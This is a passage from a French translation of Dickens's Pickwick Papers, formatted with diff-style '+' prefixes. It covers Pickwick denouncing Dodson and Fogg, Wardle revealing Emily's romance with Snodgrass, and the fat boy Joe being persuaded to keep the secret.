+cette entrevue, avait été dans un état d'appréhension nerveuse, mon cher
+monsieur, en voilà assez sur ce sujet. Restons-en là, je vous supplie,
+monsieur Pickwick.
+
+--Monsieur, reprit M. Pickwick avec vivacité, je ne veux pas qu'on me
+fasse taire!--Monsieur Dodson, vous m'avez adressé quelques
+observations....»
+
+Dodson se retourna, pencha doucement la tête et sourit.
+
+«Vous m'avez adressé quelques observations, répéta M. Pickwick, presque
+hors d'haleine, et votre associé m'a tendu la main, et tous les deux
+vous avez pris avec moi un ton de générosité et de magnanimité! C'est là
+un excès d'impudence auquel je ne m'attendais pas, même de votre part.
+
+--Quoi, monsieur? s'écria Dodson.
+
+--Quoi, monsieur? répéta Fogg.
+
+--Savez-vous bien que j'ai été victime de vos perfides complots?
+Savez-vous que je suis l'homme que vous avez emprisonné et volé?
+Savez-vous que vous êtes les avoués de la plaignante, dans Bardell et
+Pickwick.
+
+--Oui, monsieur, nous savons cela, repartit Dodson.
+
+--Nécessairement, nous le savons, ajouta Fogg en frappant sur sa poche,
+peut-être par hasard.
+
+--Je vois que vous vous en souvenez avec satisfaction, reprit M.
+Pickwick en essayant, pour la première fois de sa vie, de produire un
+rire amer, et en l'essayant tout à fait en vain. Quoique j'aie longtemps
+désiré de vous dire, en termes clairs et nets, quelle est mon opinion de
+votre conduite, j'aurais laissé passer cette occasion, par déférence
+pour les désirs de mon ami Perker, sans le ton inexcusable que vous avez
+pris et sans votre insolente familiarité. Je dis insolente familiarité,
+monsieur! répéta M. Pickwick en se retournant vers Fogg, avec une
+vivacité qui fit battre l'autre en retraite jusqu'à la porte.
+
+--Prenez garde, monsieur! s'écria Dodson, qui, quoique le plus grand et
+le plus gros des deux, s'était prudemment retranché derrière Fogg, et
+qui parlait par-dessus la tête de son associé avec un visage très-pâle.
+Laissez-vous maltraiter, monsieur Fogg; ne lui rendez point ses coups
+sous aucun prétexte.
+
+--Non, non, je ne les lui rendrai pas, dit Fogg en se reculant un peu
+plus, au soulagement évident de son associé, qui se trouvait ainsi
+arrivé au bureau extérieur.
+
+--Vous êtes, continua M. Pickwick en reprenant le fil de son discours,
+vous êtes une paire bien assortie de vils chicaneurs, de fripons, de
+voleurs....
+
+--Allons, interrompit Perker, est-ce là tout?
+
+--Tout se résume là dedans, reprit M. Pickwick. Ce sont de vils
+chicaneurs, des fripons, des voleurs!
+
+--Bien, bien, reprit Perker d'un ton conciliant. Mes chers messieurs, il
+a dit tout ce qu'il avait à dire. Maintenant, je vous en prie,
+allez-vous-en. Lowten, la porte est-elle ouverte?»
+
+M. Lowten qui riait dans le lointain, répondit affirmativement.
+
+--Allons, allons; adieu, adieu; allons, mes chers messieurs; monsieur
+Lowten, la porte, cria le petit homme en poussant Dodson et Fogg hors de
+son bureau. Par ici, mes chers messieurs. Terminons cela, je vous en
+prie. Que diable, monsieur Lowten, la porte! Pourquoi ne
+reconduisez-vous pas, monsieur?
+
+--S'il y a quelque justice en Angleterre, dit Dodson en mettant son
+chapeau et en regardant M. Pickwick, vous nous payerez cela, monsieur!
+
+--Vous êtes une paire de voleurs!
+
+--Souvenez-vous que vous nous le payerez bien! cria Fogg en agitant son
+poing.
+
+--Chicaneurs! fripons! voleurs! continua M. Pickwick sans s'embarrasser
+des menaces qui lui étaient adressées.
+
+--Voleurs! cria-t-il en courant sur le carré pendant que les deux avoués
+descendaient.
+
+--Voleurs!» vociféra-t-il en s'échappant des mains de Lowten et de
+Perker et en mettant sa tête à la fenêtre de l'escalier.
+
+Quand M. Pickwick retira sa tête de la fenêtre, sa physionomie était
+radieuse, souriante et tranquille, et en rentrant dans le bureau, il
+déclara que son esprit était soulagé d'un grand poids, et qu'il se
+trouvait maintenant tout à fait heureux.
+
+Perker ne dit rien du tout jusqu'à ce qu'il eut vidé sa tabatière et
+renvoyé Lowten pour la remplir; mais alors il fut saisi d'un accès de
+fou rire, qui dura cinq minutes, à l'expiration desquelles il fit
+observer qu'il devrait se mettre en colère, mais qu'il ne pouvait pas
+encore penser sérieusement à cette affaire, et qu'il se fâcherait dès
+qu'il le pourrait.
+
+«Maintenant, dit M. Pickwick, je voudrais bien régler mon compte avec
+vous.
+
+--Est-ce de la même manière que vous avez réglé l'autre? demanda Perker
+en recommençant à rire.
+
+--Non, pas exactement, répondit le philosophe, en tirant son
+portefeuille, et en secouant cordialement la main du petit avoué. Je
+veux parler seulement de notre compte pécuniaire. Vous m'avez donné
+plusieurs preuves d'amitié dont je ne pourrai jamais m'acquitter, ce que
+d'ailleurs je ne désire pas, car je préfère continuer à rester votre
+obligé.»
+
+Après cette préface, les deux amis s'enfoncèrent dans des comptes fort
+compliqués, qui furent régulièrement exposés par Perker, et
+immédiatement soldés par M. Pickwick, avec beaucoup d'expressions
+d'affection et d'estime.
+
+À peine cette opération était-elle terminée, qu'on entendit frapper à la
+porte du carré, de la manière la plus violente et la plus épouvantable.
+Ce n'était pas un double coup ordinaire, mais une succession constante
+et non interrompue de coups formidables, comme si le marteau avait été
+doué du mouvement perpétuel, ou comme si la personne qui l'agitait avait
+oublié de s'arrêter.
+
+«Ah çà! qu'est-ce que cela? s'écria Perker en tressaillant.
+
+--Je pense qu'on frappe à la porte, répondit M. Pickwick, comme s'il y
+avait pu avoir le moindre doute à cet égard.»
+
+Le marteau fit une réponse plus énergique que n'auraient pu faire des
+paroles, car il continua à battre, sans un moment de relâche, et avec
+une force et un tapage surprenants.
+
+«Si cela continue, dit Perker en faisant retentir sa sonnette, nous
+allons ameuter tout le quartier! Monsieur Lowten, n'entendez-vous pas
+qu'on frappe?
+
+--J'y vais à l'instant, monsieur, répliqua le clerc.»
+
+La marteau parut entendre la réponse, et pour assurer qu'il lui était
+impossible d'attendre plus longtemps, il fit un effroyable vacarme.
+
+«C'est épouvantable! dit Perker en se bouchant les oreilles.»
+
+M. Lowten, qui était en train de se laver les mains dans le cabinet
+noir, se précipita vers la porte, et tournant le bouton se trouva en
+présence d'une apparition, qui va être décrite dans le chapitre suivant.
+
+
+
+
+CHAPITRE XXV.
+
+Contenant quelques détails relatifs aux coups de marteau, ainsi que
+diverses autres particularités, parmi lesquelles figurent, notablement,
+certaines découvertes concernant M. Snodgrass et une jeune lady.
+
+
+L'objet qui se présenta aux yeux du clerc, était un jeune garçon
+prodigieusement gras, revêtu d'une livrée de domestique, et se tenant
+debout sur le paillasson, mais avec les yeux fermés comme pour dormir.
+Lowten n'avait jamais vu un jeune garçon aussi gras, et sa corpulence
+extraordinaire, jointe au repos complet de sa physionomie, si différente
+de celle qu'on aurait dû raisonnablement attendre d'un si intrépide
+frappeur, le remplirent d'étonnement.
+
+«Que voulez-vous? demanda le clerc.»
+
+L'enfant extraordinaire ne répondit point un seul mot, mais il baissa la
+tête, et Lowten s'imagina l'entendre ronfler faiblement.
+
+«D'où venez-vous?» reprit le clerc. Le gros garçon respira profondément,
+mais il ne bougea point.
+
+Le clerc répéta trois fois ses questions, et ne recevant aucune
+réponse, il se préparait à fermer la porte, quand tout à coup le jeune
+garçon ouvrit les yeux, les cligna plusieurs fois, éternua et étendit la
+main, comme pour recommencer à frapper. S'apercevant que la porte était
+ouverte, il regarda autour de lui avec stupéfaction, et, à la fin, fixa
+ses gros yeux ronds sur le visage de Lowten.
+
+«Pourquoi diable frappez-vous comme cela? lui demanda le clerc avec
+colère.
+
+--Comme quoi? répondit le gros garçon d'une voix endormie.
+
+--Comme quarante cochers de place.
+
+--Parce que mon maître m'a dit de ne pas arrêter de frapper jusqu'à ce
+qu'on ouvre la porte, de peur que je m'endorme.
+
+--Eh bien! quel message apportez-vous?
+
+--Il est en bas.
+
+--Qui?
+
+--Mon maître; il veut savoir si vous êtes à la maison.»
+
+En ce moment, M. Lowten imagina de mettre la tête à la fenêtre. Voyant
+dans son carrosse ouvert un vieux gentleman qui regardait en l'air avec
+anxiété, il lui fit signe, et le vieux gentleman descendit
+immédiatement.
+
+--C'est votre maître qui est dans la voiture, je suppose, dit Lowten.»
+
+Le gros garçon baissa la tête d'une manière affirmative.
+
+Toute autre question fut rendue inutile par l'apparition du vieux
+Wardle, qui, ayant monté lestement l'escalier et reconnu Lowten, passa
+immédiatement dans la chambre de Perker.
+
+«Pickwick! s'écria-t-il, votre main, mon garçon. C'est d'hier seulement
+que j'ai appris que vous vous étiez laissé mettre en cage. Comment
+avez-vous souffert cela, Perker?
+
+--Je n'ai pas pu l'empêcher, mon cher monsieur, répliqua le petit avoué
+avec un sourire et une prise de tabac. Vous savez comme il est obstiné.
+
+--Certainement, je le sais, mais je suis enchanté de le voir malgré
+cela. Ce n'est pas de sitôt que je le perdrai de vue.»
+
+Ayant ainsi parlé, Wardle serra de nouveau la main de M. Pickwick, puis
+celle de Perker, et se jeta dans un fauteuil, son joyeux visage brillant
+plus que jamais de bonne humeur et de santé.
+
+«Eh bien! dit-il, voilà de jolies histoires! Une prise de tabac, Perker
+mon garçon. Avez-vous jamais rien vu de pareil, hein?
+
+--Que voulez-vous dire? demanda M. Pickwick.
+
+--Ma foi! je pense que toutes les filles ont perdu la tête. Vous direz
+peut-être que cela n'est pas bien nouveau, mais c'est vrai néanmoins.
+
+--Eh! mon cher monsieur, dit Perker, est-ce que vous êtes venu à Londres
+tout exprès pour nous apprendre cela?
+
+--Non, non, pas tout à fait; quoique ce soit la principale cause de mon
+voyage. Comment va Arabelle?
+
+--Très-bien, répondit M. Pickwick; et elle sera charmée de vous voir,
+j'en suis sûr.
+
+--La petite coquette aux yeux noirs! J'avais grandement idée de
+l'épouser moi-même un de ces beaux jours, mais néanmoins je suis charmé
+de cela, véritablement.
+
+--Comment l'avez-vous appris? demanda M. Pickwick.
+
+--Oh! par mes filles naturellement. Arabelle leur a écrit avant-hier
+qu'elle s'était mariée sans le consentement du père de son mari, et que
+vous étiez allé pour le lui demander, quand son refus ne pourrait plus
+empêcher le mariage, et tout cela. J'ai pensé que c'était un bon moment
+pour donner une petite leçon à mes filles, pour leur faire remarquer
+quelle chose terrible c'était quand les enfants se mariaient sans le
+consentement de leurs parents, et le reste. Mais baste! je n'ai pas pu
+faire la plus légère impression sur elles. Elles trouvaient mille fois
+plus terrible qu'il y eût eu un mariage sans demoiselles d'honneur, et
+j'aurais aussi bien fait de prêcher Joe lui-même.»
+
+Ici le vieux gentleman s'arrêta pour rire, et quand il s'en fut donné
+tout son content, il reprit en ces termes:
+
+«Mais ce n'est pas tout, à ce qu'il paraît. Ce n'est là que la moitié
+des complots et des amourettes qui se sont machinés. Depuis six mois
+nous marchons sur des mines, et elles ont éclaté à la fin.
+
+--Qu'est-ce que vous voulez dire, s'écria M. Pickwick, en pâlissant. Pas
+d'autre mariage secret, j'espère.
+
+--Non! non! pas tout à fait aussi mauvais que cela; non.
+
+--Quoi donc alors! suis-je intéressé dans l'affaire?
+
+--Dois-je répondre à cette question, Perker?
+
+--Si vous ne vous compromettez pas, en y répondant, mon cher monsieur.
+
+--Eh bien! alors, dit M. Wardle en se tournant vers M. Pickwick; eh bien
+alors, oui, vous y êtes intéressé.
+
+--Comment cela, demanda celui-ci avec anxiété. En quelle manière?
+
+--Réellement, vous êtes un jeune gaillard si emporté, que j'ai presque
+peur de vous le dire. Néanmoins, si Perker veut s'asseoir entre nous,
+pour prévenir un malheur, je m'y hasarderai.»
+
+Ayant fermé la porte de la chambre, et s'étant fortifié par une autre
+descente dans la tabatière de Perker, le vieux gentleman commença sa
+grande révélation en ces termes:
+
+«Le fait est que ma fille Bella... Bella qui a épousé le jeune Trundle,
+vous savez?
+
+--Oui, oui, nous savons, dit M. Pickwick avec impatience.
+
+--Ne m'intimidez pas dès le commencement. Ma fille Bella, l'autre soir,
+s'assit à côté de moi lorsque Émily fut allée se coucher, avec un mal de
+tête, après m'avoir lu la lettre d'Arabelle; et commença à me parler de
+ce mariage. «Eh bien! papa, dit-elle, qu'est-ce que vous en pensez.--Ma
+foi, ma chère, répondis-je, j'aime à croire que tout ira bien.» Il faut
+vous dire que j'étais assis devant un bon feu, buvant mon grog
+paisiblement, et que je comptais bien, en jetant de temps en temps un
+mot indécis, l'engager à continuer son charmant petit babil. Mes deux
+filles sont tout le portrait de leur pauvre chère mère et plus je
+deviens vieux, plus j'ai de plaisir à rester assis en tête à tête avec
+elles. Dans ces moments-là, leur voix, leur physionomie, me reportent au
+temps le plus agréable de ma vie, me rendent encore aussi jeune que je
+l'étais alors, quoique pas tout à fait aussi heureux. «C'est un
+véritable mariage d'inclination, dit Bella après un moment de
+silence.--Oui, ma chère, répondis-je; mais ce ne sont pas toujours ceux
+qui réussissent le mieux....»
+
+--Je soutiens le contraire! interrompit M. Pickwick avec chaleur.
+
+--Très-bien; soutenez ce que vous voudrez, quand ce sera votre tour à
+parler, mais ne m'interrompez pas.
+
+--Je vous demande pardon.
+
+--Accordé. «Papa, dit Bella en rougissant un peu, je suis fâchée de vous
+entendre parler contre les mariages d'inclination.--J'ai eu tort, ma
+chère, répondis-je en tapant ses joues aussi doucement que peut le faire
+un vieux gaillard comme moi. J'ai eu tort de parler ainsi, car votre
+mère a fait un mariage d'inclination, et vous aussi.--Ce n'est pas là
+ce que je voulais dire, papa, reprit Bella; le fait est que je voulais
+vous parler d'Émily.»
+
+M. Pickwick tressaillit.
+
+«Qu'est-ce qu'il y a maintenant? lui demanda M. Wardle en s'arrêtant
+dans sa narration.
+
+--Rien, répondit le philosophe; continuez, je vous en prie.
+
+--Ma foi! Je n'ai jamais su filer une histoire, reprit le vieux
+gentleman brusquement. Il faut que cela vienne tôt ou tard, et ça nous
+épargnera beaucoup de temps, si ça vient tout de suite. Le fait est qu'à
+la fin Bella se décida à me dire qu'Émily était fort malheureuse; que
+depuis les dernières fêtes de Noël elle avait été en correspondance
+constante avec notre jeune ami Snodgrass; qu'elle s'était fort sagement
+décidée à s'enfuir avec lui, pour imiter la louable conduite de son
+amie; mais qu'ayant senti quelques retours de componction, à ce sujet,
+attendu que j'avais toujours été passablement bien disposé pour tous les
+deux, elle avait pensé qu'il valait mieux commencer par me faire
+l'honneur de me demander si je m'opposerais à ce qu'ils fussent mariés
+de la manière ordinaire et vulgaire. Voilà la chose; et maintenant,
+Pickwick, si vous voulez bien réduire vos yeux à leur grandeur
+habituelle, et me conseiller, je vous serai fort obligé.»
+
+Cette dernière phrase, proférée d'une manière bourrue par l'honnête
+vieillard, n'était pas tout à fait sans motifs, car les traits de M.
+Pickwick avaient pris une expression de surprise et de perplexité tout à
+fait curieuse à voir.
+
+«Snodgrass!... Depuis Noël....» murmura-t-il enfin, tout confondu.
+
+--Depuis Noël, répliqua Wardle. Cela est clair, et il faut que nous
+ayons eu de bien mauvaises bésicles, pour ne pas le découvrir plus tôt.
+
+--Je n'y comprends rien, reprit M. Pickwick en ruminant. Je n'y
+comprends rien.
+
+--C'est pourtant assez facile à comprendre, rétorqua le colérique
+vieillard. Si vous aviez été plus jeune, vous auriez été dans le secret
+depuis longtemps. Et de plus, ajouta-t-il après un peu d'hésitation, je
+dois dire que ne sachant rien de cela, j'avais un peu pressé Émily,
+depuis quatre ou cinq mois, afin qu'elle reçût favorablement un jeune
+gentleman du voisinage; si elle le pouvait, toutefois, car je n'ai
+jamais voulu forcer son inclination. Je suis bien convaincu qu'en
+véritable jeune fille, pour rehausser sa valeur et pour augmenter
+l'ardeur de M. Snodgrass, elle lui aura représenté cela avec des
+couleurs très-sombres, et qu'ils auront tous deux fini par conclure
+qu'ils sont un couple bien persécuté, et qu'ils n'ont pas d'autre
+ressource qu'un mariage clandestin, ou un fourneau de charbon.
+Maintenant voilà la question: Qu'est-ce qu'il faut faire?
+
+--Qu'est-ce que vous avez fait, demanda M. Pickwick?
+
+--Moi?
+
+--Je veux dire qu'est-ce que vous avez fait, quand vous avez appris cela
+de votre fille aînée?
+
+--Oh! J'ai fait des sottises, naturellement.
+
+--C'est juste, interrompit Perker, qui avait écouté ce dialogue en
+tortillant sa chaîne, en grattant son nez et en donnant divers autres
+signes d'impatience. Cela est très-naturel. Mais quelle espèce de
+sottises?
+
+--Je me suis mis dans une grande colère, et j'ai si bien effrayé ma mère
+qu'elle s'en est trouvée mal.
+
+--C'était judicieux, fit remarquer Perker. Et quoi encore, mon cher
+monsieur?
+
+--J'ai grondé et crié toute la journée suivante; mais à la fin, lassé de
+rendre tout le monde, et moi-même, misérable, j'ai loué une voiture à
+Muggleton, et je suis venu ici sous prétexte d'amener Émily pour voir
+Arabelle.
+
+--Miss Wardle est avec vous, alors? dit M. Pickwick.
+
+--Certainement, elle est en ce moment à l'hôtel d'Osborne à moins que
+votre entreprenant ami ne l'ait enlevée depuis que je suis sorti.
+
+--Vous êtes donc réconciliés? demanda Perker.
+
+--Pas du tout; elle n'a fait que languir et pleurer depuis ce temps-là,
+excepté hier soir; entre le thé et le souper; car alors elle a fait
+grande parade d'écrire une lettre, ce dont j'ai fait semblant de ne
+point m'apercevoir.
+
+--Vous voulez avoir mon avis dans cette affaire, à ce que je suppose?
+dit Perker en regardant successivement la physionomie réfléchie de M.
+Pickwick, et la contenance inquiète de Wardle, et en prenant plusieurs
+prises consécutives de son stimulant favori.
+
+--Je le suppose, répondit Wardle, en regardant M. Pickwick.
+
+--Certainement, répliqua celui-ci.
+
+--Eh bien! alors, dit Perker en se levant et en repoussant sa chaise,
+mon avis est que vous vous en alliez tous les deux vous promener, à pied
+ou en voiture, comme vous voudrez; car vous m'ennuyez; vous causerez de
+cette affaire-là ensemble. Et si vous n'avez pas tout arrangé la
+première fois que je vous verrai, je vous dirai ce que vous avez à
+faire.
+
+--Voilà quelque chose de satisfaisant, dit Wardle, qui ne savait pas
+trop s'il devait rire ou s'offenser.
+
+--Bah! bah! mon cher monsieur, je vous connais tous les deux, beaucoup
+mieux que vous ne vous connaissez vous-mêmes. Vous avez déjà arrangé
+tout cela dans votre esprit.»
+
+En parlant ainsi, le petit avoué bourra sa tabatière dans la poitrine de
+M. Pickwick et dans le gilet de M. Wardle; puis tous les trois se mirent
+à rire ensemble, mais surtout les deux derniers gentlemen, qui se
+prirent et se secouèrent la main sans aucune raison apparente.
+
+«Vous dînez avec moi aujourd'hui? dit M. Wardle à Perker, pendant que
+celui-ci le reconduisait.
+
+--Je ne peux pas vous le promettre, mon cher monsieur; je ne peux pas
+vous le promettre. En tout cas, je passerai chez vous ce soir.
+
+--Je vous attendrai à cinq heures.
+
+--Allons, Joe!» Et Joe ayant été éveillé, à grand'peine, les deux amis
+partirent dans le carrosse de M. Wardle. Joe monta derrière et s'établit
+sur le siége que son maître y avait fait placer par humanité; car s'il
+avait dû rester debout, il aurait roulé en bas et se serait tué, dès son
+premier somme.
+
+Nos amis se firent conduire d'abord au _George et Vautour_. Là ils
+apprirent qu'Arabelle était partie avec sa femme de chambre, dans une
+voiture de place, pour aller voir Émily; dont elle avait reçu un petit
+billet. Alors, comme Wardle avait quelques affaires à arranger dans la
+cité, il renvoya la voiture et le gros bouffi à l'hôtel, afin de
+prévenir qu'il reviendrait à cinq heures avec M. Pickwick pour dîner.
+
+Chargé de ce message, le gros bouffi s'en retourna, dormant sur son
+siége aussi paisiblement que s'il avait été sur un lit soutenu par des
+ressorts de montre. Par une espèce de miracle, il se réveilla de
+lui-même lorsque la voiture s'arrêta, et se secouant vigoureusement,
+pour aiguiser ses facultés, il monta l'escalier, afin d'exécuter sa
+commission.
+
+Mais, soit que les secousses que s'était données le gros joufflu eussent
+embrouillé ses facultés, au lieu de les remettre sur un bon pied; soit
+qu'elles eussent éveillé en lui une quantité d'idées nouvelles,
+suffisantes pour lui faire oublier les cérémonies et les formalités
+ordinaires; soit (ce qui est encore possible) qu'elles n'eussent pas
+été suffisantes pour l'empêcher de se rendormir en montant l'escalier,
+le fait est qu'il entra dans le salon, sans avoir préalablement frappa à
+la porte, et aperçut ainsi un gentleman, assis amoureusement sur le
+sofa, auprès de miss Émily, en tenant un bras passé autour de sa taille,
+tandis qu'Arabelle et la jolie femme de chambre feignaient de regarder
+attentivement par une fenêtre, à l'autre bout de la chambre. À cette vue
+le gros joufflu laissa échapper une exclamation, les femmes jetèrent un
+cri, et le gentleman lâcha un juron, presque simultanément.
+
+«Qui venez-vous chercher ici, petit misérable?» s'écria le gentleman,
+qui n'était autre que M. Snodgrass.
+
+Le gros joufflu, prodigieusement épouvanté, répondit brièvement:
+«Maîtresse.»
+
+«Que me voulez-vous, stupide créature? lui demanda Émily, en détournant
+la tête.
+
+--Mon maître et M. Pickwick viennent dîner ici à cinq heures.
+
+--Quittez cette chambre! reprit M. Snodgrass, dont les yeux lançaient
+des flammes sur le jeune homme stupéfié.
+
+--Non! non! non! s'écria précipitamment Émily. Arabelle, ma chère,
+conseillez-moi.»
+
+Émily et M. Snodgrass, Arabelle et Mary tinrent conseil dans un coin, et
+se mirent à parler vivement, à voix basse, pendant quelques minutes,
+durant lesquelles le gros joufflu sommeilla.
+
+«Joe, dit à la fin Arabelle, en se retournant avec le plus séduisant
+sourire; comment vous portez-vous, Joe?
+
+--Joe, reprit Émily, vous êtes un bon garçon. Je ne vous oublierai pas,
+Joe.
+
+--Joe, poursuivit M. Snodgrass, en s'avançant vers l'enfant étonné, et
+en lui prenant la main, je ne vous avais pas reconnu. Voilà cinq
+shillings pour vous, Joe.
+
+--Je vous en devrai cinq aussi, ajouta Arabelle, parce que nous sommes
+de vieilles connaissances, vous savez,» et elle accorda un second
+sourire, encore plus enchanteur, au corpulent intrus.
+
+Les perceptions du gros bouffi étant peu rapides, il parut d'abord
+singulièrement intrigué par cette soudaine révolution qui s'opérait en
+sa faveur, et regarda même autour de lui, d'un air très-alarmé. À la
+fin, cependant, son large visage commença à montrer quelques symptômes
+d'un sourire proportionnellement large, puis, fourrant une
+demi-couronne dans chacun de ses goussets, et, ses mains et ses poignets
+par-dessus, il laissa échapper un éclat de rire enroué. C'est la
+première et ce fut la seule fois de sa vie qu'on l'entendit rire.
+
+«Je vois qu'il nous comprend, dit Arabelle.
+
+--Il faudrait lui faire manger quelque chose sur-le-champ,» fit observer
+Émily.
+
+Il s'en fallut de peu que le gros bouffi ne rit encore en entendant
+cette proposition. Après quelques autres chuchotements, Mary sortit
+lestement du groupe et dit:
+
+«Je vais dîner avec vous aujourd'hui, monsieur, si vous voulez bien?
+
+--Par ici, répondit le jeune garçon avec empressement. Il y a un fameux
+pâté de viande en bas!»
+
+À ces mots, le gros joufflu descendit l'escalier pour conduire Mary à
+l'office, et le long du chemin sa jolie compagne captivait l'attention
+de tous les garçons, et mettait de mauvaise humeur toutes les femmes de
+chambre.
+
+Le pâté, dont le gros joufflu avait parlé avec tant de tendresse, se
+trouvait effectivement, encore dans l'office; on y ajouta un bifteck, un
+plat de pommes de terre, et un pot de porter.
+
+«Asseyez-vous, dit Joe. Quelle chance! Le bon dîner! Comme j'ai faim!»
+
+Ayant répété cinq ou six fois ces exclamations avec une sorte de
+ravissement, le jeune garçon s'assit au haut bout de la petite table, et
+Mary se plaça au bas bout.
+
+«Voulez-vous un peu de cela? dit le gros joufflu, en plongeant dans le
+pâté son couteau et sa fourchette jusqu'au manche.
+
+--Un peu, s'il vous plaît.»
+
+Joe ayant servi à Mary un peu du pâté, et s'en étant servi beaucoup à
+lui-même, allait commencer à manger, quand, tout à coup il se pencha en
+avant sur sa chaise, en laissant ses mains, avec le couteau et la
+fourchette, tomber sur ses genoux, et dit très-lentement.
+
+«Vous êtes gentille à croquer, savez-vous?»
+
+Ceci était dit d'un air d'admiration très-flatteur, mais cependant il y
+avait encore, dans les yeux du jeune gentleman, quelque chose qui
+sentait le cannibale plus que l'amour passionné.
+
+--Eh! mais, Joseph, s'écria Mary, en affectant de rougir, qu'est-ce que
+vous voulez dire?»
+
+Le gros joufflu, reprenant graduellement sa première position, répliqua
+seulement par un profond soupir, resta pensif pendant quelques minutes,
+et but une longue gorgée de _porter_. Après quoi, il soupira encore, et
+s'appliqua très-solidement au pâté.
+
+«Quelle aimable personne que miss Émily! dit Mary, après un long
+silence.
+
+--J'en connais une plus aimable.
+
+--En vérité?
+
+--Oui, en vérité, répliqua le gros joufflu, avec une vivacité
+inaccoutumée.
+
+--Comment s'appelle-t-elle?
+
+--Comment vous appelez-vous?»
+
+--Mary.
+
+--C'est son nom. C'est vous.»
+
+Le gros garçon, pour rendre ce compliment plus incisif, y joignit une
+grimace, et donna à ses deux prunelles une combinaison de loucherie,
+croyant ainsi, selon toute apparence, lancer une oeillade meurtrière.
+
+«Il ne faut pas me parler comme cela, dit Mary. Vous ne me parlez pas
+sérieusement.
+
+--Bah! que si, je dis.
+
+--Eh bien?
+
+--Allez-vous venir ici régulièrement?
+
+--Non, je m'en vais demain soir.
+
+--Oh! reprit le gros joufflu, d'un ton prodigieusement sentimental,
+comme nous aurions eu du plaisir à manger ensemble, si vous étiez
+restée!
+
+--Je pourrais peut-être venir quelquefois, ici, pour vous voir, si vous
+vouliez me rendre un service,» répondit Mary, en roulant la nappe pour
+jouer l'embarras.
+
+Le gros joufflu regarda alternativement le pâté et la grillade, comme
+s'il avait pensé qu'un service devait être lié en quelque sorte avec des
+comestibles; puis, tirant de sa poche une de ses demi-couronnes, il la
+considéra avec inquiétude.
+
+«Vous ne me comprenez pas?» poursuivit Mary, en regardant finement son
+large visage.
+
+Il considéra sur nouveaux frais la demi-couronne, et répondit
+faiblement: non.
+
+«Les ladies voudraient bien que vous ne parliez pas au vieux gentleman
+du jeune gentleman qui était là-haut; et moi je le voudrais bien aussi.
+
+--C'est-il là tout? répondit le gros garçon, évidemment soulagé d'un
+grand poids, et rempochant sa demi-couronne. Je n'en dirai rien, bien
+sûr.
+
+--Voyez-vous, M. Snodgrass aime beaucoup miss Émily; et miss Émily aime
+beaucoup M. Snodgrass; et si vous racontiez cela, le vieux gentleman
+vous emmènerait bien loin à la campagne, où vous ne pourriez plus voir
+personne.
+
+--Non, non, je n'en dirai rien, répéta le gros joufflu, résolument.
+
+--Vous serez bien gentil. Mais, à présent, il faut que je monte en haut,
+et que j'habille ma maîtresse pour le dîner.
+
+--Ne vous en allez pas encore.
+
+--Il le faut bien. Adieu, pour à présent.»
+
+Le gros joufflu, avec la galanterie d'un jeune éléphant, étendit ses
+bras pour ravir un baiser; mais comme il ne fallait pas grande agilité
+pour lui échapper, son aimable vainqueur disparut, avant qu'il les eût
+refermés. Ainsi désappointé, l'apathique jeune homme mangea une livre ou
+deux de bifteck, avec une contenance sentimentale, et s'endormit
+profondément.
+
+On avait tant de choses à se dire dans le salon, tant de plans à
+concerter pour le cas où la cruauté de M. Wardle rendrait nécessaires un
+enlèvement et un mariage secret, qu'il était quatre heures et demie
+quand M. Snodgrass fit ses derniers adieux. Les dames coururent pour
+s'habiller dans la chambre d'Émily, et le gentleman, ayant pris son
+chapeau, sortit du salon; mais à peine était-il sur le carré, qu'il
+entendit la voix de M. Wardle. Il regarda par-dessus la rampe et le vit
+monter, suivi de plusieurs autres personnes. Dans sa confusion, et ne
+connaissant point les êtres de l'hôtel, M. Snodgrass rentra
+précipitamment dans la chambre qu'il venait de quitter, puis passant de
+là dans une autre pièce, qui était la chambre à coucher de M. Wardle, il
+en ferma la porte doucement, juste comme les personnes qu'il avait
+aperçues entraient dans le salon. Il reconnut facilement leurs voix:
+c'étaient M. Wardle et M. Pickwick, M. Nathaniel Winkle et M. Benjamin
+Allen.
+
+«C'est très-heureux que j'aie eu la présence d'esprit de les éviter,
+pensa M. Snodgrass avec un sourire, en marchant, sur la pointe du pied,
+vers une autre porte, située auprès du lit. Cette porte-ci ouvre sur le
+même corridor, et je puis m'en aller par là tranquillement et
+commodément.»
+
+Il n'y avait qu'un seul obstacle à ce qu'il s'en allât tranquillement
+et commodément, c'est que la porte était fermée à double tour et la clef
+absente.
+
+«Garçon! dit le vieux Wardle, en se frottant les mains; donnez-nous de
+votre meilleur vin, aujourd'hui.
+
+--Oui, monsieur.
+
+--Faites savoir à ces dames que nous sommes rentrés.
+
+--Oui, monsieur.»
+
+M. Snodgrass aussi désirait bien ardemment faire savoir à ces dames
+qu'il était rentré. Une fois même il se hasarda à chuchoter à travers le
+trou de la serrure: «Garçon!» Mais pensant qu'il pourrait évoquer
+quelque autre personne, et se rappelant avoir lu le matin, dans son
+journal, sous la rubrique _Cours et Tribunaux_, les infortunes d'un
+gentleman, arrêté dans un hôtel voisin, pour s'être trouvé dans une
+situation semblable à la sienne, il s'assit sur un porte-manteau, en
+tremblant violemment.
+
+«Nous n'attendrons pas Perker une seule minute, dit Wardle en regardant
+sa montre. Il est toujours exact, il sera ici à l'heure juste s'il a
+l'intention de venir; sinon il est inutile de nous en occuper. Ah!
+Arabelle.
+
+--Ma soeur! s'écria Benjamin Allen, en l'enveloppant de ses bras d'une
+manière fort dramatique.
+
+--Oh! Ben, mon cher, comme tu sens le tabac! s'écria Arabelle,
+apparemment suffoquée par cette marque d'affection.
+
+--Tu trouves? C'est possible... (C'était possible en effet, car il
+venait de quitter une charmante réunion de dix ou douze étudiants en
+médecine, entassés dans un arrière-parloir devant un énorme feu.)
+Combien je suis charmé de te voir! Dieu te bénisse, Arabelle.
+
+--Là, dit Arabelle, en se penchant en avant et en tendant son visage à
+son frère; mais, mon cher Ben, ne me prends pas comme cela, tu me
+chiffonnes.»
+
+En cet endroit de la réconciliation, M. Ben Allen se laissant vaincre
+par sa sensibilité, par les cigares et le _porter_, promena ses yeux sur
+tous les assistants à travers des lunettes humides.
+
+«Est-ce qu'on ne me dira rien à moi? demanda M. Wardle en ouvrant ses
+bras.
+
+--Au contraire, dit tout bas Arabelle, en recevant l'accolade et les
+cordiales félicitations du vieux gentlemen; vous êtes un méchant, un
+cruel, un monstre!
+
+--Vous êtes une petite rebelle, répliqua Wardle du même ton; et je me
+verrai obligé de vous interdire ma maison. Les personnes comme vous, qui
+se sont mariées en dépit de tout le monde, devraient être séquestrées de
